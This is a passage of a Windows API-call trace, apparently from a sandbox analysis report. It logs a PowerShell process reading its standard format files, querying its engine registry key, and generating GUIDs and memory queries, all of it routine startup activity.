lpOverlapped=0x0 | out: lpBuffer=0x2dea75e*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.497] GetLastError () returned 0x0 [0075.498] ReadFile (in: hFile=0x354, lpBuffer=0x2deaff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2deaff0*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.498] GetLastError () returned 0x0 [0075.498] CloseHandle (hObject=0x354) returned 1 [0075.498] GetLastError () returned 0x0 [0075.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.498] GetLastError () returned 0x0 [0075.498] SetErrorMode (uMode=0x1) returned 0x1 [0075.498] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e0bfec | out: lpFileInformation=0x2e0bfec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0075.498] GetLastError () returned 0x0 [0075.498] SetErrorMode (uMode=0x1) returned 0x1 [0075.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.498] GetLastError () returned 0x0 [0075.498] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x354) returned 0x0 [0075.498] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.499] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.499] RegCloseKey (hKey=0x354) returned 0x0 [0075.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.499] GetLastError () returned 0x0 [0075.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.499] GetLastError () returned 0x0 [0075.499] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc1d5945b, Data2=0xed16, Data3=0x47f5, Data4=([0]=0xaa, [1]=0xea, [2]=0xe0, [3]=0x68, [4]=0x4b, [5]=0xbb, [6]=0xdf, [7]=0x67))) returned 0x0 [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7ae1f2eb, Data2=0x6f54, Data3=0x4193, Data4=([0]=0x8a, [1]=0xcf, [2]=0x6c, [3]=0xa8, [4]=0xcc, [5]=0x5a, [6]=0x9d, [7]=0x5))) returned 0x0 [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x19b65754, Data2=0x5535, Data3=0x44f0, Data4=([0]=0x96, [1]=0xcf, [2]=0x56, [3]=0xa5, [4]=0xa6, [5]=0x45, [6]=0x5b, [7]=0xe5))) returned 0x0 [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc4b852fd, Data2=0xf837, Data3=0x4313, Data4=([0]=0xa4, [1]=0x6, [2]=0xfa, [3]=0x64, [4]=0xb2, [5]=0x84, [6]=0x6c, [7]=0x48))) returned 0x0 [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x3861b92d, Data2=0xa883, Data3=0x4309, Data4=([0]=0x83, [1]=0xaa, [2]=0xee, [3]=0xbf, [4]=0xb0, [5]=0x94, [6]=0x4f, [7]=0xc2))) returned 0x0 [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xe01c7e7b, Data2=0x2e41, Data3=0x4500, Data4=([0]=0x9f, [1]=0xbe, [2]=0x2d, [3]=0xac, [4]=0x3c, [5]=0xbc, [6]=0x63, [7]=0x97))) returned 0x0 [0075.500] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xed86dc98, Data2=0x861, Data3=0x42c2, Data4=([0]=0xbb, [1]=0x26, [2]=0x5d, [3]=0x9f, [4]=0x91, [5]=0x52, [6]=0xdd, [7]=0x49))) returned 0x0 [0075.500] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.500] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x8d0556e7, Data2=0xac91, Data3=0x41e2, Data4=([0]=0xa4, [1]=0xef, [2]=0x37, [3]=0x71, [4]=0x86, [5]=0xf5, [6]=0x70, [7]=0x51))) returned 0x0 [0075.500] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7b821a4f, Data2=0xe7f5, Data3=0x4f66, Data4=([0]=0x9f, [1]=0x18, [2]=0x31, [3]=0xdc, [4]=0xb5, [5]=0xb3, [6]=0x23, [7]=0x9c))) returned 0x0 [0075.501] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x57c4f813, Data2=0x9caa, Data3=0x4bba, Data4=([0]=0x98, [1]=0x13, [2]=0x21, [3]=0x65, [4]=0xb, [5]=0xc7, [6]=0x8e, [7]=0x87))) returned 0x0 [0075.501] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x2ec9edd3, Data2=0xb480, Data3=0x4144, Data4=([0]=0x9a, [1]=0x98, [2]=0x82, [3]=0x29, [4]=0xd, [5]=0x57, [6]=0x22, [7]=0x99))) returned 0x0 [0075.501] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.501] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6191aaf4, Data2=0xf70c, Data3=0x46ec, Data4=([0]=0x94, [1]=0x0, [2]=0x60, [3]=0xf2, [4]=0x50, [5]=0xa3, [6]=0xba, [7]=0xac))) returned 0x0 [0075.501] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.501] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.501] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.502] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.502] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.502] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x775e5549, Data2=0x793d, Data3=0x44e1, Data4=([0]=0xa8, [1]=0x4f, [2]=0x42, [3]=0xae, [4]=0xac, [5]=0xdc, [6]=0x3, [7]=0xfc))) returned 0x0 [0075.502] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6d0080d7, Data2=0xa0b7, Data3=0x48fa, Data4=([0]=0x8d, [1]=0x5e, [2]=0x33, [3]=0x9a, [4]=0x61, [5]=0x80, [6]=0x2b, [7]=0x1b))) returned 0x0 [0075.502] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc835745d, Data2=0x5aff, Data3=0x4137, Data4=([0]=0xb9, [1]=0x35, [2]=0x23, [3]=0x4c, [4]=0x8, [5]=0x13, [6]=0x33, [7]=0x93))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x155d9039, Data2=0xd182, Data3=0x4d32, Data4=([0]=0xb5, [1]=0xd8, [2]=0x58, [3]=0x51, [4]=0x9a, [5]=0x20, [6]=0xb4, [7]=0xb3))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6ad786c2, Data2=0xa58c, Data3=0x4065, Data4=([0]=0x8f, [1]=0x13, [2]=0xf1, [3]=0xba, [4]=0xfe, [5]=0x7a, [6]=0x30, [7]=0x3))) returned 0x0 [0075.503] VirtualQuery (in: lpAddress=0x29d4d4, lpBuffer=0x29e4d4, dwLength=0x1c | out: lpBuffer=0x29e4d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x17e215db, Data2=0x31b, Data3=0x403a, Data4=([0]=0x8f, [1]=0xef, [2]=0x49, [3]=0xbe, [4]=0x59, [5]=0x6e, [6]=0x10, [7]=0x38))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6e983b07, Data2=0x1acf, Data3=0x46bb, Data4=([0]=0x8f, [1]=0x4e, [2]=0xe5, [3]=0xc6, [4]=0xdb, [5]=0xf0, [6]=0xc7, [7]=0xf3))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xfc7bed0c, Data2=0xb5ba, Data3=0x43ab, Data4=([0]=0xa9, [1]=0xe, [2]=0x94, [3]=0x8, [4]=0x61, [5]=0x9a, [6]=0x7d, [7]=0xce))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6bee4e63, Data2=0xfbee, Data3=0x46bc, Data4=([0]=0x99, [1]=0x72, [2]=0x91, [3]=0xa7, [4]=0x8d, [5]=0xc9, [6]=0xcc, [7]=0xd6))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7c637ca2, Data2=0xae7, Data3=0x4cbf, Data4=([0]=0x80, [1]=0xa6, [2]=0xff, [3]=0xdf, [4]=0xe4, [5]=0xab, [6]=0xcf, [7]=0x1e))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa82ffddc, Data2=0xab92, Data3=0x404f, Data4=([0]=0xa2, [1]=0xbd, [2]=0x8a, [3]=0x7a, [4]=0x7d, [5]=0x74, [6]=0x40, [7]=0xe2))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x99da1add, Data2=0x8e15, Data3=0x40c0, Data4=([0]=0xb0, [1]=0x61, [2]=0x80, [3]=0x96, [4]=0xc2, [5]=0xf, [6]=0x67, [7]=0x70))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xdab2b9c2, Data2=0x501e, Data3=0x424a, Data4=([0]=0x8f, [1]=0x40, [2]=0x31, [3]=0x86, [4]=0x4a, [5]=0xf3, [6]=0x47, [7]=0x64))) returned 0x0 [0075.503] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x5fd94e02, Data2=0x29da, Data3=0x4f27, Data4=([0]=0x8c, [1]=0x37, [2]=0x69, [3]=0x23, [4]=0x6f, [5]=0xb7, [6]=0x90, [7]=0xe9))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x8e424472, Data2=0x6f8b, Data3=0x4e1d, Data4=([0]=0x8e, [1]=0xea, [2]=0x5d, [3]=0x95, [4]=0x55, [5]=0x5, [6]=0x84, [7]=0xd7))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xf8f3a10e, Data2=0x5db6, Data3=0x4009, Data4=([0]=0xb6, [1]=0x7e, [2]=0x85, [3]=0x9d, [4]=0x88, [5]=0x2b, [6]=0x4d, [7]=0x1c))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x98ab5a69, Data2=0xfdaa, Data3=0x4cad, Data4=([0]=0xbb, [1]=0xc2, [2]=0x64, [3]=0x6, [4]=0xb8, [5]=0x7e, [6]=0x4c, [7]=0x7d))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x520c1539, Data2=0x5c18, Data3=0x46d4, Data4=([0]=0x9a, [1]=0xd1, [2]=0xca, [3]=0x16, [4]=0x86, [5]=0x51, [6]=0x74, [7]=0xe6))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6bbb76c5, Data2=0x1e99, Data3=0x4491, Data4=([0]=0xac, [1]=0x92, [2]=0x56, [3]=0x2f, [4]=0x55, [5]=0xc2, [6]=0x2f, [7]=0xb0))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x4a196ab3, Data2=0x28d3, Data3=0x4e5f, Data4=([0]=0x87, [1]=0xe6, [2]=0x30, [3]=0x3f, [4]=0x28, [5]=0xcd, [6]=0x2b, [7]=0x3e))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x65c400b9, Data2=0xcaa, Data3=0x4155, Data4=([0]=0x85, [1]=0xe7, [2]=0xf9, [3]=0xb6, [4]=0x72, [5]=0x65, [6]=0x68, [7]=0xba))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x73e1325f, Data2=0x86ce, Data3=0x4da8, Data4=([0]=0x8b, [1]=0x10, [2]=0x70, [3]=0xe7, [4]=0x6f, [5]=0x21, [6]=0x59, [7]=0xfa))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x608a43eb, Data2=0x7c2f, Data3=0x48b8, Data4=([0]=0xb7, [1]=0x59, [2]=0x5f, [3]=0xb3, [4]=0x4, [5]=0xc6, [6]=0x8c, [7]=0xb9))) returned 0x0 [0075.504] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xc58409db, Data2=0x59d, Data3=0x45df, Data4=([0]=0xa6, [1]=0x88, [2]=0x63, [3]=0xdf, [4]=0x96, [5]=0x7a, [6]=0x88, [7]=0x92))) returned 0x0 [0075.504] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.504] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.506] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.507] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x32cefbfe, Data2=0x3573, Data3=0x4766, Data4=([0]=0xb6, [1]=0x64, [2]=0x38, [3]=0xcc, [4]=0x2b, [5]=0x87, [6]=0xcd, [7]=0x43))) returned 0x0 [0075.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0075.507] GetLastError () returned 0x0 [0075.507] SetErrorMode (uMode=0x1) returned 0x1 [0075.507] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0075.507] GetLastError () returned 0x0 [0075.507] GetFileType (hFile=0x354) returned 0x1 [0075.508] SetErrorMode (uMode=0x1) returned 0x1 [0075.508] GetFileType (hFile=0x354) returned 0x1 [0075.508] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.513] GetLastError () returned 0x0 [0075.514] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.514] GetLastError () returned 0x0 [0075.514] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.514] GetLastError () returned 0x0 [0075.514] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.514] GetLastError () returned 0x0 [0075.514] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.514] GetLastError () returned 0x0 [0075.514] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.514] GetLastError () returned 0x0 [0075.515] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x119, lpOverlapped=0x0) returned 1 [0075.515] GetLastError () returned 0x0 [0075.515] ReadFile (in: hFile=0x354, lpBuffer=0x2ea8ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ea8ed8*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.515] GetLastError () returned 0x0 [0075.515] CloseHandle (hObject=0x354) returned 1 [0075.515] GetLastError () returned 0x0 [0075.515] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0075.515] GetLastError () returned 0x0 [0075.515] SetErrorMode (uMode=0x1) returned 0x1 [0075.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ec9ed4 | out: lpFileInformation=0x2ec9ed4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0075.515] GetLastError () returned 0x0 [0075.515] SetErrorMode (uMode=0x1) returned 0x1 [0075.515] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0075.515] GetLastError () returned 0x0 [0075.515] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x354) returned 0x0 [0075.515] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.516] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.516] RegCloseKey (hKey=0x354) returned 0x0 [0075.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0075.516] GetLastError () returned 0x0 [0075.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0075.516] GetLastError () returned 0x0 [0075.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.516] GetLastError () returned 0x0 [0075.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.516] GetLastError () returned 0x0 [0075.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.516] GetLastError () returned 0x0 [0075.516] VirtualQuery (in: lpAddress=0x29d330, lpBuffer=0x29e330, dwLength=0x1c | out: lpBuffer=0x29e330*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.516] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x229d5e78, Data2=0x3554, Data3=0x4308, Data4=([0]=0x86, [1]=0xc3, [2]=0xe3, [3]=0xc7, [4]=0x31, [5]=0x30, [6]=0x93, [7]=0xba))) returned 0x0 [0075.517] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.517] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xe7360e89, Data2=0xd7c8, Data3=0x4115, Data4=([0]=0x99, [1]=0xcf, [2]=0x57, [3]=0xfa, [4]=0x41, [5]=0x2c, [6]=0x6d, [7]=0x96))) returned 0x0 [0075.517] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6aa9b0f4, Data2=0x3443, Data3=0x408b, Data4=([0]=0x99, [1]=0x71, [2]=0xd7, [3]=0x93, [4]=0xff, [5]=0x91, [6]=0x5e, [7]=0xdf))) returned 0x0 [0075.517] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x183ecf4c, Data2=0xdaca, Data3=0x4365, Data4=([0]=0x9a, [1]=0xa0, [2]=0x1c, [3]=0xa1, [4]=0x1f, [5]=0xb, [6]=0xc6, [7]=0x19))) returned 0x0 [0075.517] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: 